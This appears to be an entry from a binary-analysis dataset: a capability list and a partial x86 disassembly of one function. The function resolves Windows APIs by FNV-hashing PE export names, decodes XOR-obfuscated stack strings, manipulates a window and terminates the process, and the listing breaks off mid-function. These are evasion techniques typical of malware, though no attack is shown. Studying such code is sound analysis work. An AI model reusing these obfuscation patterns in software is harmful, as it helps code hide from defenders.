Function at 0x4b15f0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x84c
mov eax, dword [0x4d900c]
xor eax, esp
mov dword [esp + 0x844], eax
cmp byte [0x4d97c7], 0
mov eax, dword [0x4d97cc]
push ebx
push ebp
push esi
push edi
je 0x4b2c92
cmp eax, 2
jne 0x4b168d
lea eax, [ecx - 0x334]
cmp eax, 0x16
ja 0x4b50e6
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b50e6
xor ecx, ecx
call fcn.004c5230
mov edi, dword [0x4d987c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x9f2d23c5
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1687
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1666
cmp edx, 0x1b66e736
je 0x4b2f36
inc ebx
add esi, 4
jmp 0x4b1656
cmp eax, 3
jne 0x4b1729
lea eax, [ecx - 0x316]
cmp eax, 0x12
ja 0x4b50e6
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b50e6
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x62084c36
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b16f3
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b16d6
cmp edx, 0x81764b83
je 0x4b16f9
inc ebx
add esi, 4
jmp 0x4b16c6
mov eax, dword [ebp + edi + 0x24]
push 6
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov dword [0x4d97c0], 0
jmp 0x4b50e6
cmp eax, 7
jne 0x4b1767
lea eax, [ecx - 0x8f]
cmp eax, 0x114
ja 0x4b50e6
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b50e6
sub esp, 0x18
mov ecx, esp
push 0x4d9098
call fcn.004b60e0
call fcn.004c02a0
add esp, 0x18
jmp 0x4b50e6
cmp eax, 6
jne 0x4b1d9a
lea eax, [ecx - 0x1b2]
cmp eax, 0x28
ja 0x4b50e6
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b50e6
mov edi, dword [0x4d9870]
xor ebx, ebx
mov byte [0x4d97c7], 0
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xf07c0a6
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b17d4
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b17b7
cmp edx, 0x9d157333
je 0x4b17da
inc ebx
add esi, 4
jmp 0x4b17a7
mov eax, dword [ebp + edi + 0x24]
push 0
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov ebp, dword [0x4d9870]
xor edi, edi
mov eax, dword [ebp + 0x3c]
mov ebx, dword [eax + ebp + 0x78]
mov esi, dword [ebx + ebp + 0x20]
add esi, ebp
mov ecx, dword [esi]
mov edx, 0xcb6b9088
add ecx, ebp
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b183d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1820
cmp edx, 0x7194cde
je 0x4b1843
inc edi
add esi, 4
jmp 0x4b1810
mov eax, dword [ebx + ebp + 0x24]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebp]
mov eax, dword [ebx + ebp + 0x1c]
lea eax, [eax + ecx*4]
mov ebx, dword [eax + ebp]
add ebx, ebp
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
push 0
sub edi, 0x12c
call esi
push 0
cdq
push 0x258
sub eax, edx
push 0x190
sar eax, 1
push edi
sub eax, 0xc8
push eax
push 0
push dword [0x4d9864]
call ebx
mov ebx, dword [0x4d9880]
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov ebp, dword [eax + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x6034bc9a
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b18dd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b18c0
cmp edx, 0xd7b10b43
je 0x4b18e3
inc edi
add esi, 4
jmp 0x4b18b0
mov eax, dword [ebp + ebx + 0x24]
push 0xf
push 0xf
push 0x258
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
push 0x190
push 0
push 0
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
mov byte [esp + 0xc0], 5
mov cl, 0x3c
xor cl, byte [esp + 0xc0]
mov ch, 0x6b
mov dword [esp + 0x290], eax
mov dl, 0x31
mov byte [esp + 0xc1], cl
mov al, ch
mov cl, byte [esp + 0xc0]
mov dh, 0x34
xor ch, cl
mov byte [esp + 0xc9], 0
mov ah, 0x46
mov byte [esp + 0xc4], ch
mov bl, 0x33
mov byte [esp + 0xc9], 0
mov bh, 0x71
xor dl, cl
xor bl, cl
mov byte [esp + 0xc2], dl
xor dh, cl
mov byte [esp + 0xc3], bl
xor bh, cl
mov byte [esp + 0xc5], dh
xor al, cl
mov byte [esp + 0xc6], bh
xor ah, cl
mov byte [esp + 0xc7], al
lea ecx, [esp + 0x71c]
mov byte [esp + 0xc8], ah
call fcn.004b7490
lea ecx, [esp + 0xc1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b19a7
sub ecx, edx
lea eax, [esp + 0xc1]
push ecx
push eax
lea ecx, [esp + 0x724]
call fcn.004b7120
mov byte [esp + 0x1b0], 0x1b
mov al, 0x5d
xor al, byte [esp + 0x1b0]
mov dl, 0x79
mov byte [esp + 0x1b1], al
mov ah, 0x7d
mov al, byte [esp + 0x1b0]
mov bl, dl
xor ah, al
mov byte [esp + 0x1b9], 0
mov cl, 0x6d
mov byte [esp + 0x1b5], ah
xor cl, al
mov byte [esp + 0x1b9], 0
mov ch, 0x4b
mov byte [esp + 0x1b2], cl
xor ch, al
mov dh, 0x71
xor dl, al
mov byte [esp + 0x1b6], ch
xor bl, al
mov byte [esp + 0x1b3], dl
xor dh, al
mov byte [esp + 0x1b4], bl
mov bh, 0x7f
mov byte [esp + 0x1b7], dh
xor bh, al
lea ecx, [esp + 0x57c]
lea eax, [esp + 0x28c]
mov byte [esp + 0x1b8], bh
push eax
push 1
push 0
lea eax, [esp + 0x728]
push eax
call fcn.004b6890
lea eax, [esp + 0x1b1]
push eax
lea ecx, [esp + 0x580]
call fcn.004b74b0
lea ecx, [esp + 0x57c]
mov bl, al
call fcn.004b5f90
test bl, bl
je 0x4b1b46
mov al, 0x47
mov byte [esp + 0x90], 0x28
mov bh, al
mov byte [esp + 0x13], 0x6d
xor al, byte [esp + 0x90]
mov cl, 0x79
mov byte [esp + 0x91], al
mov dl, 0x70
mov al, byte [esp + 0x90]
mov ch, 0x50
mov dh, 0x61
mov byte [esp + 0x9a], 0
xor cl, al
mov byte [esp + 0x9a], 0
xor dl, al
mov byte [esp + 0x92], cl
xor ch, al
mov byte [esp + 0x93], dl
xor dh, al
mov byte [esp + 0x96], ch
mov bl, 0x10
mov byte [esp + 0x97], dh
mov ah, 0x5a
lea ecx, [esp + 0x91]
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x94], bl
xor bh, al
mov byte [esp + 0x95], ah
mov al, byte [esp + 0x13]
xor al, byte [esp + 0x90]
mov byte [esp + 0x98], bh
mov byte [esp + 0x99], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b1b28
sub ecx, edx
lea eax, [esp + 0x91]
push ecx
push eax
lea ecx, [esp + 0x724]
call fcn.004b66a0
lea ecx, [esp + 0x71c]
call fcn.004b5f90
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x6e016d1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1b94
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1b77
cmp edx, 0xe36d9fa2
je 0x4b1b9a
inc ebx
add esi, 4
jmp 0x4b1b67
mov eax, dword [ebp + edi + 0x24]
push 0
push dword [esp + 0x294]
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x6521fdb5
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1c04
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1be7
cmp edx, 0x5ee4e0be
je 0x4b1c0a
inc ebx
add esi, 4
jmp 0x4b1bd7
mov eax, dword [ebp + edi + 0x24]
push 0
push 0
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xa6ba005
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1c6f
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1c52
cmp edx, 0xebc5bce8
je 0x4b1c75
inc ebx
add esi, 4
jmp 0x4b1c42
mov eax, dword [ebp + edi + 0x24]
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x4d321169
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1cdd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1cc0
cmp edx, 0x1cabf24c
je 0x4b1ce3
inc ebx
add esi, 4
jmp 0x4b1cb0
mov eax, dword [ebp + edi + 0x24]
push 0xfa
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
cmp byte [0x4d9018], 0
jne 0x4b1d2c
push 0
push 0x4cb469
mov ecx, 0x4d9098
call fcn.004b66a0
push 0
push 0x4cb469
mov ecx, 0x4d90c8
call fcn.004b66a0
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xb0d8c9c
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1d6e
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1d51
cmp edx, 0x1a23778d
je 0x4b1d74
inc ebx
add esi, 4
jmp 0x4b1d41
mov eax, dword [ebp + edi + 0x24]
push 5
push dword [0x4d9864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x4b50e6
cmp eax, 4
jne 0x4b1dc6
lea eax, [ecx - 0x2c3]
cmp eax, 0x28
ja 0x4b50e6
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b50e6
mov byte [0x4d9019], 1
jmp 0x4b50e6
cmp eax, 5
jne 0x4b1df2
lea eax, [ecx - 0x296]
cmp eax, 0x28
ja 0x4b50e6
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b50e6
mov byte [0x4d9019], 0
jmp 0x4b50e6
cmp eax, 0x3f3
jne 0x4b1efd
lea eax, [ecx - 0x204]
cmp eax, 0x1a
ja 0x4b50e6
lea eax, [edx - 0x22]
cmp eax, 0x1a
ja 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xd96e1fa5
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1e5d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1e40
cmp edx, 0xbf566430
je 0x4b1e63
inc ebx
add esi, 4
jmp 0x4b1e30
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d4bd0]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x4d0], xmm0
add edx, edi
mov dword [esp + 0x510], 0x495445
movaps xmm0, xmmword [0x4d5a80]
xor ecx, ecx
movups xmmword [esp + 0x4e0], xmm0
movaps xmm0, xmmword [0x4d4e10]
movups xmmword [esp + 0x4f0], xmm0
movaps xmm0, xmmword [0x4d4bb0]
movups xmmword [esp + 0x500], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x4d0]
xor byte [esp + ecx + 0x4d1], al
inc ecx
cmp ecx, 0x42
jb 0x4b1ed0
push 5
lea eax, [esp + 0x4d5]
mov byte [esp + 0x517], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0x3f4
jne 0x4b202d
lea eax, [ecx - 0x22f]
cmp eax, 0x1a
ja 0x4b50e6
lea eax, [edx - 0x22]
cmp eax, 0x1a
ja 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xc8d1864b
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b1f6d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b1f50
cmp edx, 0x25d09dfe
je 0x4b1f73
inc ebx
add esi, 4
jmp 0x4b1f40
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d5b80]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x300], xmm0
add edx, edi
mov dword [esp + 0x340], 0x6a79797a
movaps xmm0, xmmword [0x4d5360]
xor ecx, ecx
movups xmmword [esp + 0x310], xmm0
mov dword [esp + 0x344], 0x7170766c
movaps xmm0, xmmword [0x4d58c0]
movups xmmword [esp + 0x320], xmm0
mov dword [esp + 0x348], 0x6d7c7e72
movaps xmm0, xmmword [0x4d56b0]
movups xmmword [esp + 0x330], xmm0
mov word [esp + 0x34c], 0x70
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x300]
xor byte [esp + ecx + 0x301], al
inc ecx
cmp ecx, 0x4c
jb 0x4b2000
push 5
lea eax, [esp + 0x305]
mov byte [esp + 0x351], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0x3f5
jne 0x4b213d
lea eax, [ecx - 0x25a]
cmp eax, 0x1a
ja 0x4b50e6
lea eax, [edx - 0x22]
cmp eax, 0x1a
ja 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x8df21aa1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b209d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2080
cmp edx, 0x31ee0af4
je 0x4b20a3
inc ebx
add esi, 4
jmp 0x4b2070
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d4f70]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x440], xmm0
add edx, edi
mov dword [esp + 0x480], 0x5d6c6049
movaps xmm0, xmmword [0x4d5b10]
xor ecx, ecx
movups xmmword [esp + 0x450], xmm0
mov byte [esp + 0x484], 0
movaps xmm0, xmmword [0x4d5440]
movups xmmword [esp + 0x460], xmm0
movaps xmm0, xmmword [0x4d5960]
movups xmmword [esp + 0x470], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x440]
xor byte [esp + ecx + 0x441], al
inc ecx
cmp ecx, 0x43
jb 0x4b2110
push 5
lea eax, [esp + 0x445]
mov byte [esp + 0x488], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0x3e9
jne 0x4b27d7
lea eax, [ecx - 0x22]
cmp eax, 0xe6
ja 0x4b50e6
lea eax, [edx - 0x184]
cmp eax, 0x28
ja 0x4b50e6
mov eax, dword [0x4d901c]
test eax, eax
jg 0x4b2177
cmp eax, 0xffffffff
jne 0x4b50e6
mov ebx, dword [0x4d9870]
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov ebp, dword [eax + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xd39ff1a7
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b21bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b21a0
cmp edx, 0x5d96e916
je 0x4b21c3
inc edi
add esi, 4
jmp 0x4b2190
mov eax, dword [ebp + ebx + 0x24]
push 0
push dword [0x4d9864]
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
mov ch, 4
mov byte [esp + 0x272], 0
mov dl, 0x61
mov byte [esp + 0x26c], ch
mov cl, 0x2a
mov byte [esp + 0x272], 0
mov ah, dl
xor cl, ch
mov al, 0x35
mov byte [esp + 0x26e], cl
mov bl, 0x7c
xor al, ch
xor dl, ch
mov byte [esp + 0x26d], al
xor bl, ch
mov byte [esp + 0x26f], dl
xor ah, ch
mov byte [esp + 0x270], bl
lea ecx, [esp + 0x28d]
mov byte [esp + 0x271], ah
call fcn.004b5200
mov edi, eax
mov ecx, 0x4d90e0
lea eax, [esp + 0x364]
push eax
call fcn.004b5d00
mov ecx, 0x4d90e0
mov esi, dword [eax]
lea eax, [esp + 0x360]
push eax
call fcn.004b5d20
push edi
push esi
lea ecx, [esp + 0x5fc]
push dword [eax]
call fcn.004b6d30
mov ebx, eax
mov byte [esp + 0x3a], 0
mov al, 0x27
mov byte [esp + 0x3a], 0
mov cl, 0x7b
mov byte [esp + 0x38], al
xor cl, al
mov byte [esp + 0x39], cl
lea ecx, [esp + 0x28e]
call fcn.004b5200
mov edi, eax
mov ecx, 0x4d90e0
lea eax, [esp + 0x350]
push eax
call fcn.004b5d00
mov ecx, 0x4d90e0
mov esi, dword [eax]
lea eax, [esp + 0x35c]
push eax
call fcn.004b5d20
push edi
push esi
lea ecx, [esp + 0x5e4]
push dword [eax]
call fcn.004b6d30
movaps xmm0, xmmword [str.6jfDYQDW_]
mov esi, eax
movups xmmword [esp + 0x298], xmm0
mov dword [esp + 0x2a8], 0xe4e1e
xor ecx, ecx
mov word [esp + 0x2ac], 0x6a1f
mov byte [esp + 0x2ae], 0
nop word [eax + eax]
mov al, byte [esp + 0x298]
xor byte [esp + ecx + 0x299], al
inc ecx
cmp ecx, 0x15
jb 0x4b2310
lea eax, [esp + 0x299]
mov byte [esp + 0x2ae], 0
push eax
mov edx, 0x4d9080
lea ecx, [esp + 0x5c8]
call fcn.004b6bb0
add esp, 4
lea ecx, [esp + 0x5ac]
mov edx, eax
push esi
call fcn.004b6e10
add esp, 4
lea ecx, [esp + 0x39]
mov edx, eax
push ecx
lea ecx, [esp + 0x598]
call fcn.004b6cd0
add esp, 4
lea ecx, [esp + 0x60c]
mov edx, eax
push ebx
call fcn.004b6e10
add esp, 4
lea ecx, [esp + 0x26d]
mov edx, eax
push ecx
lea ecx, [esp + 0x7f8]
call fcn.004b6cd0
add esp, 4
lea ecx, [esp + 0x60c]
call fcn.004b5f90
lea ecx, [esp + 0x594]
call fcn.004b5f90
lea ecx, [esp + 0x5ac]
call fcn.004b5f90
lea ecx, [esp + 0x5c4]
call fcn.004b5f90
lea ecx, [esp + 0x5dc]
call fcn.004b5f90
lea ecx, [esp + 0x5f4]
call fcn.004b5f90
lea ecx, [esp + 0x28f]
call fcn.004b5200
mov edi, eax
lea ecx, [esp + 0x7f4]
lea eax, [esp + 0x358]
push eax
call fcn.004b5de0
lea ecx, [esp + 0x7f4]
mov esi, dword [eax]
lea eax, [esp + 0x354]
push eax
call fcn.004b5e00
push edi
push esi
lea ecx, [esp + 0x844]
push dword [eax]
call fcn.004b6e30
lea ecx, [esp + 0x83c]
call fcn.004b5cf0
mov ecx, eax
call fcn.004a9c10
mov ebx, dword [0x4d986c]
xor edi, edi
mov dword [esp + 0x290], eax
mov ecx, dword [ebx + 0x3c]
mov ebp, dword [ecx + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0xa4c8d8fc
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b248d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2470
cmp edx, 0xc82f407f
je 0x4b2493
inc edi
add esi, 4
jmp 0x4b2460
mov eax, dword [ebp + ebx + 0x24]
push 0x1f4
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
mov al, 0x1d
mov byte [esp + 0x1a4], 0x52
mov dl, al
mov byte [esp + 0x1ad], 0
xor al, byte [esp + 0x1a4]
mov ah, 0xb
mov byte [esp + 0x1a5], al
mov cl, 0x67
mov al, byte [esp + 0x1a4]
mov ch, 0x13
xor ah, al
mov byte [esp + 0x1ad], 0
mov dh, 0x37
mov byte [esp + 0x1a9], ah
xor cl, al
xor ch, al
mov bl, 0x64
mov byte [esp + 0x1a6], cl
mov bh, 0x62
mov byte [esp + 0x1aa], ch
xor dl, al
lea ecx, [esp + 0x704]
xor bl, al
mov byte [esp + 0x1a7], dl
xor dh, al
mov byte [esp + 0x1a8], bl
xor bh, al
mov byte [esp + 0x1ab], dh
lea eax, [esp + 0x1a5]
mov byte [esp + 0x1ac], bh
push eax
call fcn.004b60a0
mov byte [esp + 0x1c8], 0xc
mov al, 0x6a
xor al, byte [esp + 0x1c8]
mov ah, 0x66
mov byte [esp + 0x1c9], al
mov cl, 0x79
mov al, byte [esp + 0x1c8]
mov dl, 0x65
xor ah, al
mov byte [esp + 0x1d1], 0
mov ch, 0x6e
mov byte [esp + 0x1cd], ah
mov dh, 0x42
mov byte [esp + 0x1d1], 0
xor cl, al
xor ch, al
mov bl, 0x43
mov byte [esp + 0x1ca], cl
mov bh, 0x58
mov byte [esp + 0x1ce], ch
xor dl, al
lea ecx, [esp + 0x704]
xor bl, al
mov byte [esp + 0x1cb], dl
xor dh, al
mov byte [esp + 0x1cc], bl
xor bh, al
mov byte [esp + 0x1cf], dh
lea eax, [esp + 0x1c9]
mov byte [esp + 0x1d0], bh
push eax
call fcn.004b5f00
mov bl, 0x4e
mov byte [esp + 0x1bc], 0x38
mov al, 0x4a
mov cl, 0x68
mov dl, 0x4f
mov ah, 8
mov ch, 0x52
mov dh, bl
xor al, byte [esp + 0x1bc]
mov bh, 0x7d
mov byte [esp + 0x1bd], al
mov al, byte [esp + 0x1bc]
xor cl, al
mov byte [esp + 0x1c5], 0
xor dl, al
mov byte [esp + 0x1be], cl
xor ch, al
mov byte [esp + 0x1bf], dl
xor dh, al
mov byte [esp + 0x1c2], ch
xor bl, al
mov byte [esp + 0x1c3], dh
xor ah, al
mov byte [esp + 0x1c0], bl
xor bh, al
mov byte [esp + 0x1c1], ah
lea edx, [esp + 0x1bd]
mov byte [esp + 0x1c4], bh
lea ecx, [esp + 0x704]
mov byte [esp + 0x1c5], 0
call fcn.004b6b70
test al, al
je 0x4b274f
push 0x45
lea ecx, [esp + 0x30]
mov byte [esp + 0x30], 0x28
call fcn.004b51f0
push 0x57
lea ecx, [esp + 0x30]
mov byte [esp + 0x31], al
call fcn.004b51f0
push 0x35
lea ecx, [esp + 0x30]
mov byte [esp + 0x32], al
call fcn.004b51f0
push 0x77
lea ecx, [esp + 0x30]
mov byte [esp + 0x33], al
call fcn.004b51f0
push 0x30
lea ecx, [esp + 0x30]
mov byte [esp + 0x34], al
call fcn.004b51f0
push 0x36
lea ecx, [esp + 0x30]
mov byte [esp + 0x35], al
call fcn.004b51f0
push 0x51
lea ecx, [esp + 0x30]
mov byte [esp + 0x36], al
call fcn.004b51f0
push 0x6e
lea ecx, [esp + 0x30]
mov byte [esp + 0x37], al
call fcn.004b51f0
push 0x4f
lea ecx, [esp + 0x30]
mov byte [esp + 0x38], al
call fcn.004b51f0
mov byte [esp + 0x35], al
xor esi, esi
mov byte [esp + 0x36], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x31]
call fcn.004b5210
lea ecx, [esp + 0x2c]
movzx eax, byte [eax]
push eax
call fcn.004b51f0
push esi
lea ecx, [esp + 0x31]
mov bl, al
call fcn.004b5210
inc esi
mov byte [eax], bl
cmp esi, 9
jb 0x4b2700
push 9
lea ecx, [esp + 0x31]
call fcn.004b5210
lea ecx, [esp + 0x2d]
mov byte [eax], 0
call fcn.004b5200
push eax
lea ecx, [esp + 0x708]
call fcn.004b5f00
lea ecx, [esp + 0x704]
call fcn.004b5f90
mov edi, dword [0x4d9870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x4ff3de04
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b279d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2780
cmp edx, 0x9329ced6
je 0x4b27a3
inc ebx
add esi, 4
jmp 0x4b2770
mov eax, dword [ebp + edi + 0x24]
push dword [esp + 0x290]
push 0x4a9750
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.004c5230
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp eax, 0x3ea
jne 0x4b2a6f
lea eax, [ecx - 0x13b]
cmp eax, 0xe6
ja 0x4b50e6
lea eax, [edx - 0x184]
cmp eax, 0x28
ja 0x4b50e6
mov byte [esp + 0xb4], 0x6e
mov al, 0x2d
xor al, byte [esp + 0xb4]
mov cl, 9
mov byte [esp + 0xb5], al
mov ch, 7
mov al, byte [esp + 0xb4]
mov dl, 0x2b
xor cl, al
